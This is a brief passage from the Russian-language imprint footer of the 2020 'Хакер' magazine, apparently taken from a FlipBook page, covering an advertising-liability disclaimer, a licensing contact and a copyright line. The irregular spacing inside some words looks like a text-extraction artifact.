не несет ответст  вен ности за содерж  ание рекл  амных объя  вле ний в номере. По вопр  осам лиценз  ирован  ия и получен  ия прав на исполь зование
редакц  ион ных матери алов журн  ала обращ  айт  есь по адрес  у: [email protected]. © Жур нал «Хакер», РФ, 2020


Click to View FlipBook Version